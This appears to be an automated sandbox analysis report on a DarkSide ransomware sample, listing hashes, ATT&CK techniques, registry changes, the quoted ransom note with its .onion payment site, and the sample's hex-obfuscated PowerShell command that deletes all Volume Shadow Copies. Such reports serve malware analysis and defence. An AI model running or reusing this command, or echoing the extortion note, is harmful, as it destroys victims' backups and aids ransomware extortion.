darkside | c5741701b3866459dd1ffa2477cfd8776713612912693a5897f78aac795d23e9

Resubmissions

31/03/2025, 00:22

250331-apdw1ssjs8 10

28/03/2025, 22:52

250328-2tfd7avl15 10

25/03/2025, 14:57

250325-sb3mbsxxht 10

Analysis

max time kernel
440s
max time network
548s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20250314-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250314-enlocale:en-usos:windows10-ltsc_2021-x64system
submitted
28/03/2025, 22:52

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Report Analysis Logs

General

Target

RansomwareSamples/DarkSide_16_01_2021_59KB.exe
Size

59KB
MD5

0ed51a595631e9b4d60896ab5573332f
SHA1

7ae73b5e1622049380c9b615ce3b7f636665584b
SHA256

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60
SHA512

9bfd6318b120c05d9a42a456511efc59f2be5ad451baa6d19d5de776e2ff74dbee444c85478ee7cfdbf705517cc147cd64c6814965f76c740fe1924594a37cb5
SSDEEP

768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1yl3RYY23W58:0x7Fu4/ihrhDTV1ylhZ58

Score

10^/10

darkside credential_access discovery execution ransomware spyware stealer

Malware Config

Extracted

Path

C:\Recovery\WindowsRE\README.40f728dc.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide - I-D Foods Corporation] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW When you open our website, put the following data in the input form: Key: 9NtjyWHbqWYTbhBpJ2ht4tKo7DQgTGmQ4IGHCFvgjiSMTNopVgQ9YIh9KRWkQgmvxviZtJGOakzykMzWKRgxwf2pCxpdMT8iGlKcsSOsxVOUXIGEgpy6tLqliTTEKWnohcYOhCF3DYMePMxEYa0eCmED1EXEG5QOZCpmkgDl5s5VSUF5uhnKsunUtKGS24iEAr2hxsJ1zMcMHmKVrf3bvRyhYVKXwlXVggxE7ncowldcK3v3CiKC24jKVd6OH5QrhVyyQLrFM5RE3Y0RcTeRTIqf1J5CIEhTiG3TH7SEpws4wfkt9RZ7rBWT4n3B69Z9JuPzyFCBwPKF7gTzEYzixIGzFbJyLSZXff9ryv3yL3JeKywAcoBafos0dLSkRgf1X1a1S2ud4kXa5GRU4W7rhCQsnJ8vAcv1AXaPRq9ESySBWQdGCQMSci0ex0oE4EfCDW3jjyXtaPofqNFhibodJFmOyTKwie1OcW6Kh6Ih6JxXXfUXr4VbRILzsiPXsOTTisDaEicID1E0SJRluBus2UhPyogJiZ7UpmUu9LUe3yAi3Bhox3pLv8E !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Darkside family
darkside
Renames multiple (123) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4940	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3174447216-2582055397-1659630574-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\40f728dc.BMP"	DarkSide_16_01_2021_59KB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3174447216-2582055397-1659630574-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\40f728dc.BMP"	DarkSide_16_01_2021_59KB.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DarkSide_16_01_2021_59KB.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3174447216-2582055397-1659630574-1000\Control Panel\Desktop\WallpaperStyle = "10"	DarkSide_16_01_2021_59KB.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\40f728dc\DefaultIcon	DarkSide_16_01_2021_59KB.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\40f728dc	DarkSide_16_01_2021_59KB.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\40f728dc\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\40f728dc.ico"	DarkSide_16_01_2021_59KB.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.40f728dc	DarkSide_16_01_2021_59KB.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.40f728dc\ = "40f728dc"	DarkSide_16_01_2021_59KB.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
4072	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4940	powershell.exe
4940	powershell.exe
2916	DarkSide_16_01_2021_59KB.exe
2916	DarkSide_16_01_2021_59KB.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2916	DarkSide_16_01_2021_59KB.exe
Token: SeSecurityPrivilege	2916	DarkSide_16_01_2021_59KB.exe
Token: SeTakeOwnershipPrivilege	2916	DarkSide_16_01_2021_59KB.exe
Token: SeLoadDriverPrivilege	2916	DarkSide_16_01_2021_59KB.exe
Token: SeSystemProfilePrivilege	2916	DarkSide_16_01_2021_59KB.exe
Token: SeSystemtimePrivilege	2916	DarkSide_16_01_2021_59KB.exe
Token: SeProfSingleProcessPrivilege	2916	DarkSide_16_01_2021_59KB.exe
Token: SeIncBasePriorityPrivilege	2916	DarkSide_16_01_2021_59KB.exe
Token: SeCreatePagefilePrivilege	2916	DarkSide_16_01_2021_59KB.exe
Token: SeBackupPrivilege	2916	DarkSide_16_01_2021_59KB.exe
Token: SeRestorePrivilege	2916	DarkSide_16_01_2021_59KB.exe
Token: SeShutdownPrivilege	2916	DarkSide_16_01_2021_59KB.exe
Token: SeDebugPrivilege	2916	DarkSide_16_01_2021_59KB.exe
Token: SeSystemEnvironmentPrivilege	2916	DarkSide_16_01_2021_59KB.exe
Token: SeRemoteShutdownPrivilege	2916	DarkSide_16_01_2021_59KB.exe
Token: SeUndockPrivilege	2916	DarkSide_16_01_2021_59KB.exe
Token: SeManageVolumePrivilege	2916	DarkSide_16_01_2021_59KB.exe
Token: 33	2916	DarkSide_16_01_2021_59KB.exe
Token: 34	2916	DarkSide_16_01_2021_59KB.exe
Token: 35	2916	DarkSide_16_01_2021_59KB.exe
Token: 36	2916	DarkSide_16_01_2021_59KB.exe
Token: SeDebugPrivilege	4940	powershell.exe
Token: SeBackupPrivilege	3952	vssvc.exe
Token: SeRestorePrivilege	3952	vssvc.exe
Token: SeAuditPrivilege	3952	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2916 wrote to memory of 4940	2916	DarkSide_16_01_2021_59KB.exe	82
PID 2916 wrote to memory of 4940	2916	DarkSide_16_01_2021_59KB.exe	82

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_16_01_2021_59KB.exe
"C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_16_01_2021_59KB.exe"
1⤵
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4940

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3952

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\README.40f728dc.TXT
1⤵
- Opens file in notepad (likely ransom note)
PID:4072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Recovery\WindowsRE\README.40f728dc.TXT

Filesize
1KB

MD5
d4e176b40c4ea17f4870c34fad926d6e

SHA1
2cc3e4c6cf00e4a2ac0e16e9f7b0ccf2421b92e0

SHA256
7ee422c323ddbda59934ed7bfa6217cfe06bdb50165b7d4b6115475f1df7af0c

SHA512
feaa913ae99db210db088423a9813e1efedd89d80817bf485a4d9f8ea349b86932ac16ba0473bd224ff150603507bd289d01aebc1a702372a076a167b632f471

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
4521e67a3b03b060fde700c36d3b9297

SHA1
4a730cd86dc7a57ac001d59853dd500c1b83b4ab

SHA256
a72aa223a84c4fa011c8a2b0ef2475a83d5123de2cdfa6a7160231729e68383d

SHA512
90235850eef71c2f0921d04e6990147af9e76fec8ee49e12e6a5bab065ff0e63331a54be845026f17a7b1dd230ee94843099db4813c127c6bafb8cbaf59b753f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c226da78997bbd2c2e9ad38764d415a8

SHA1
3fde1d008c98733e0af346a4791b0ad306c03a65

SHA256
39b7e2d5282208cfa0e5dc328f75cb9995eff426d4a48239cb2740c4db857d00

SHA512
042cbedf8bb404e92b5f5ae2f3f4cd2fa11d5b7f3bd1e2a2f895521d7e91f723283a52529a20a1d53a7c5abfda012d2ed6714f7d5ca67df4f60c5caafb34cf0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xy0pqmrz.0ky.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4940-1-0x00007FFA84703000-0x00007FFA84705000-memory.dmp

Filesize
8KB

Download
memory/4940-7-0x000001F144810000-0x000001F144832000-memory.dmp

Filesize
136KB

Download
memory/4940-12-0x00007FFA84700000-0x00007FFA851C2000-memory.dmp

Filesize
10.8MB

Download
memory/4940-13-0x00007FFA84700000-0x00007FFA851C2000-memory.dmp

Filesize
10.8MB

Download
memory/4940-14-0x00007FFA84700000-0x00007FFA851C2000-memory.dmp

Filesize
10.8MB

Download
memory/4940-17-0x00007FFA84700000-0x00007FFA851C2000-memory.dmp

Filesize
10.8MB

Download